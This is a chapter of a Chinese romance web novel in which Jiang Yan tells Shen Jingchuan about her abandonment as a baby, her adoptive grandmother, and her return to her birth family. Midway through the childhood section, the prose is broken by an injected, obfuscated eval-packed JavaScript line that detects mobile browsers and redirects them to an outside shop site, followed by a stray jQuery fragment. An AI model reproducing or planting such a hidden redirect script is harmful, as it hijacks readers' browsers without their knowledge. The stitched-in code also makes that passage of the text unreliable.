晚上在漫天云层的遮盖下,久违的冒出几颗星星,知了在树上聒噪的叫着惹人心烦。
江颜双手抱头,嘴里吊着一颗不知名的小草,躺在草垛上看着天上的星星,不知道心里在想些什么。
突然身边的草垛一沉,她下意识的挪了挪位置,很快又恢复如初了。
十分钟后,旁边的人动了动,衣袖与草堆摩擦出窸窸窣窣的声音,果然还是憋不住,率先开口:“你不好奇我怎么找到这里?”
“我又没藏着掖着,知道也很正常?”
等了半晌,只听见了“嗯”一声,她还有点不习惯,手搭在沈景川的脑门上,量了量体温,“没烧啊!”
“啪——”
手被打掉了,江颜不怒反笑:“我还以为您今个脑子没了,小嘴与往常少抹了两斤毒药了。”
沈景川没有理会,只是从身后的塑料袋子里掏了掏,紧接着“嚓”的一声,一个东西冒着气泡被打开,递到了她的面前。
江颜也不客气大手接过啤酒罐:“你倒是不怕我再吐你一身,不过世上怎么有你这么小心眼的人,衣服我再赔你一件呗,有必要直接把我删了.....”
“还有这么晚了,你要再迟点就回不去,我这可没有地方给你睡.....”
话还没说完,突然一张大手附在自己的眼睛上,遮盖住自己的视线,耳边声音低沉微哑,“行了,总是这样,别强撑了,心情不好,就说出来,不然容易憋坏。”
就连她自己都没注意,每次心情不好的时候,总会喋喋不休。
“你,怎么......”眼前漆黑一片,她短暂性的愣住了,不知道是哪句话一下子戳中了她,缓缓闭上眼睛,就在沈景川以为她不想说的时候,手下的脸庞却微微抽动,那是唇口张开牵起的幅度。
“沈景川虽然因为高中的事情我很讨厌你,但是没想到如今.......算了,就当我给你讲一个故事了。”
“我从小被人拐过,拐我的那个人是我的二叔。”捂在脸上的大手江颜明显感受到一僵,调侃道,“大惊小怪家族争权嘛,有什么好惊讶的,一副没见过世面的样子。”
如此平静语气,却让沈景川心里有一阵揪心的疼痛,家族争权,导致自己在外流失十多年,就这么轻飘飘的一句话就能带过吗?
“江家你也知道一直是我父亲掌权,其他几房虎视眈眈,我母亲怀我的时候外界一直传闻是个男孩,结果母亲出门被几只不知道从哪里窜出来的野狗吓得早产,我父亲因为公司的事情走不开,很快母亲生下我后,却因为大出血昏迷了,父亲又不在身边。”
“我二叔真以为是一个男孩,打算拿我来威胁我爸要江氏股份入驻公司,于是设计买通了保姆将我带走,结果发现我竟然是个女孩觉得没有利用价值了,又怕我爸发现,干脆让保姆给我安排走再也别出现,就当世界上没有我这个人。”
“谁曾想拿了钱准备回老家的保姆,在路上觉得我是个累赘,却又狠不下心亲自动手,于是中途转站,随意丢弃在垃圾桶边,让我自生自灭....直到她的出现....”
思绪瞬间拉回到二十年前。
大雪纷纷的冬天。
晚上年久未修的火车站灯牌在电力的驱动下只能零零散散的亮起几个笔画。
“呜呜——”
一辆火车到站了,很快从里面乌央乌央的涌出一群人,其中手臂上别着白布的人在人群中格外的显眼。
叶舒华裹着厚厚的衣裳,可是外来的寒风直往她的衣袖里窜,忍不住让她缩了缩脖子,手掌来回摩擦取暖,说话间哈出的全是白气。
“去龙井村多少钱?”
拉客的人朝他摆了摆手,“雪太大走不了,路滑。”
叶舒华有些不死心,路边一个一个问过去,得到的都是相同的答案。
“姐,明早雪化了,我送你给你便宜点。”
叶舒华无奈的笑了声好,抬头看着满天的雪花,心中泛起一丝苦涩,再过一个多月就是春节,就是那个阖家团圆的日子了,可惜只剩下她一个人了。
她搓着手,准备找一个便宜的旅馆先住下,提起放在地上的两个行李包,路过一片阴暗的垃圾桶时,脚踩在雪地上发出吱呀吱呀的声音,突然脚步顿住,她好像听到了细小的哭声,却听的不太真切,就在她以为是幻听准备离开时,行李包上的带子突然崩断,手里的重量猛然不平衡,带着她往一旁倒去,索性雪比较厚,摔的不疼,站起来急忙掸了掸身上的雪,毕竟这种天衣服潮了不容易干。
却在抬眼的瞬间,看见远处一个一个鼓鼓囊囊的东西,走进原本若有若无的哭声越发的明显,她心头猛的一颤,三步两步掀开上面的布盖,露出一张已经白的像纸一般的小脸,唇色已经冻的发紫。
急忙回头张望,却空无一人,她才知道这是个弃婴,她心有不忍,急忙把她抱起来,也不知道她被扔在这里多久了,雨雪沾湿的抱被在寒冬早就被冻的梆硬,也不知道这个小家伙是怎么挨得下来的。
就连行李也顾不上,简单的找了个角落藏好,带着人急忙去到火车站周围最近的小诊所。
昏昏欲睡值夜班的医生被尖锐的开门声震醒,看着神色慌张的人怀里抱着的孩子,瞬间直起了身。
“这丫头也是命大,在娘胎里过得不错,底子好,一天没吃东西了又冻了这么长时间,加上运气好碰上了你,不然她熬过这一晚。”
诊所温暖的环境,让紧皱的小脸缓缓舒张开来,看着那张奋力吸着奶嘴的小嘴,叶舒华忍不住用手戳了戳她的腮帮,“小嘴真有劲,大难不死必有后福。”
“那你之后打算怎么办?”医生用纸巾擦掉溢出来的奶。
“去趟警局报警备案吧。”
医生欲言难止刚想说什么,却又无奈的摇了摇头,低下来叹了口气。
之后的几天叶舒华都在警察局和诊所这里来回跑,可惜结果并不如她所愿。
警察告诉她这一站是多地必经的中转站,人流量极大,而且前些天几个摄像头坏了,一直来没来得及修,根本没有拍到是何人遗弃,只能先留案存档。
这么多年什么没有见过的警察,还委婉的提醒,弃婴本就是丢弃的,想要找到父母本就是难上加难,就算找到了,要不要还是一回事呢,最后还不是送到福利机构去。
叶舒华心重重的一沉就像被蒙上一块布一样让她喘不上气,迈开承重的步子往外走。
到了诊所看着刚喝完奶粉的婴儿,明亮的眼睛就这样眨巴眨巴的看着她,突然嘴角露出一抹笑容,手伸起来到处乱挥。
“这个小聪明鬼,知道是她救得你,就朝她笑,我刚刚给你喂奶换尿布,你怎么不朝着我笑,你个小没良心的。”
医生嘴里假装抱怨语气里却是藏不住的开心,见回来的叶舒华似乎有些失落,早就料想到结果般的拍了拍她的肩膀安慰。
“福利机构总比有些不负责任的父母要好的多,等长大一点,说不定还有没有孩子的好心人收养。”
几天后,待婴儿恢复的差不多了,叶舒华抱着她走进福利机构,婴儿睁着那双亮亮的眼睛,似乎对周围的一切都很好奇。
“好的,院长那就麻烦你们了。”叶舒华帮她办好手续,在离开时还是忍不住再去看了她一眼。
婴儿长得着实可爱了些,老忍不住用手去戳戳她,可这次就在她伸出手时,却被软软的手抓住,死死不松开。
也不知道小婴儿的力气为什么会这么大,她似乎感觉到离别的气氛,小嘴撅起,就想要哭,叶舒华突然心一软,虽然才短短几天,甚至算不上好好相处,她舍不得了,如果儿子儿媳没有出事,说不定过两年自己也会有个这样的小娃娃。
回去后一夜未眠,第二天她就办了收养手续,很久很久之后,她会想两个人的相遇是不是就是命中注定的,是不是她那因为车祸去世的儿子儿媳在天上特地给她留下的念想。
晚上给婴儿收拾的时候,才发现她怀里的还有一块玉,手指摸摸,突然有一个凹陷的地方,就着灯光才浅浅看清,上面有一个字——江。
抱着婴儿附在自己的肩头:“原来你姓江啊,那我给你取名叫江颜好不好,祝你笑颜常开,不受苦难.....”
小屋内,黄色的灯光下,江颜似乎很满意自己的名字,咬住手指头咯咯直笑。
五岁。
江颜完全就是长成一个皮猴子,爬山,摸鱼,捉蚂蚁,样样都行,天天在村子里作威作福,是村子里的孩子王,但是她最喜欢和隔壁家的宋时今玩,因为他长得好看,而且还超厉害,会打陀螺和滚铁环,打玻璃珠也超级厉害,不过宋今时开始上小学了,江颜只能每次等他写完作业才一块玩。
七岁。
再大点后,越来越多的人开始外出打工,村子里的小孩也越来越少,江颜就坐在自己家门口,拿着树枝逗蝈蝈。最近几天
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749433|208896||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自家进进出出的人格外多,她才知道自家奶奶似乎是什么研究员,就是很厉害的那种,还有一个听奶奶说超级厉害的爷爷,经常会过来看奶奶还顺路陪她玩。
有一天她跑回家时,才发现宋今时也在,大人说宋今时今天要拜奶奶为师,她听不懂,但是她知道这样的话,宋时今会经常来找自己玩,自己会很开心。
九岁。
江颜也开始上学了,成绩很好,但是最讨厌写作业,于是花钱买通同学帮她写,结果被奶奶发现狠狠的教训了一顿,罚在家里写完作业才能出去。
那些天最开心的事情便是听到门外轻快的脚步声,那是宋今时。只要一放学就来家里和奶奶学习茶叶,每次来都会给她带上吃的,今天是糖葫芦,明天是麦芽糖,再后天就是糖人,所以江颜每天最期盼的就是宋今时放学。
本以为一辈子就这样过去,直到十岁那年,所有的美梦都碎成了渣渣。
十岁。
深夜江颜看着天边划过一道闪电,旁边还炸起惊雷,给她吓得一哆嗦。看着起身穿着雨衣出门的奶奶,心里有一种不好的预感,死死的抓住她的衣角不让她出门。
可是平日里最宠她的奶奶,把自己的手指扒开,弯腰拍了拍自己的头,说了句“小颜,乖,奶奶去去就回。”
看着离去的背影,小小的江颜蜷缩在床上靠墙的角落,手丝丝的捂住自己的耳朵,浑身发动。突然门口骤然响起急促的敲门声。一个噩耗的消息袭来,奶奶被毒蛇咬了,没挨到血清送达,便离世了。
从那开始她知道自己再也没有亲人了,为了她能够很好的生活下去,无父无母无奶奶的江颜被村长带到叶舒华的哥哥家,那是江颜第一次看到太舅爷,她胆子那么大的人,第一次躲在村长身后,却听到他说,自己从来没有一个姓江的外甥孙女。
江颜不敢置信的看着眼前的人,话都没有听完就往回跑,可是做了火车才到的这个地方,怎么跑的回去呢,最后还是被村长拎回去,她发疯似的在家里乱翻,最后在一个小盒子里翻到了自己的收养证书。
这时候的她简直天塌了,下面压着的是房产证明,她这才发现奶奶的儿子姓孙而不是江。原来叶舒华为了怕村里的人欺负自己是没爹没妈的野娃子,就一直对外声称是去世的儿子儿媳留个自己的孙女。
那天之后,江颜自己去找了村长,说不愿意给大家添麻烦,自己想去福利机构好好上完学,也许她原本就该在这个地方,谁劝都没有用,就连宋今时都吃了一鼻子灰。
回到福利院的第一个月,老师对她很好,可是她怎么都睡不着觉。老师问,要不要帮她找到自己的亲生父母,她去过警局,找到了很多年前奶奶的备案记录,知道自己是被遗弃的,所以婉拒了。
趁着一次学校外出游学,她偷偷跑出来,想看一看奶奶一直和自己说的研究所在哪里。按着记忆力的路线,刚过马路却被一辆车意外撞到,等再醒后,撞了他的司机师傅却说自己是江家二小姐,她被家里人找到了。
“我有的时候觉得我是一个很幸运的人,也许是妈妈的保佑我才能被奶奶找到,也可能是奶奶的在天之灵,让我再一次被亲生父母找到。”
不知过了多久,沈景川感觉自己的手掌下微微湿润,眼角有浅浅的一行清泪。
轻描淡写的诉说却让人无比的心疼。
也许是太累了,依靠在草垛竟慢慢睡着了,梦似乎不是一个好梦,惹得江颜眉头微蹙,沈景川想抱着她进去睡,却在触碰到她的瞬间缩了缩,只好作罢,从叶舒华的屋里拿出一件干净的衣服披在她的身上,自己则是继续依靠在草垛上,看着江颜没有看完的星星。
“嗡嗡——”
手机振动,点开发现是曲桑的消息,回了一句不用担心,刚退回就看见最上面的聊天框赫然是江颜的。
他神不知鬼不觉点开头像,今天早上还是悄悄的加回来了。
想起昨天叶书白说要晾某人一个月看看是人重要还是事重要,他忍不住自嘲一番,当看到:直播时候的那段话,便知道江颜的状态不太对,等反应过来自己在干什么的时候,他已经拿起钥匙出门了。
在路上他竟然有一点怕,怕有人会抢先一步出现在江颜,比如姓宋的,他怕自己不再是第一顺位。
手机缓缓送入口袋,双手抵在头下方,微微侧头看着江颜睡颜。
他缓缓吐出一口气,他认栽了。
人比事更重要。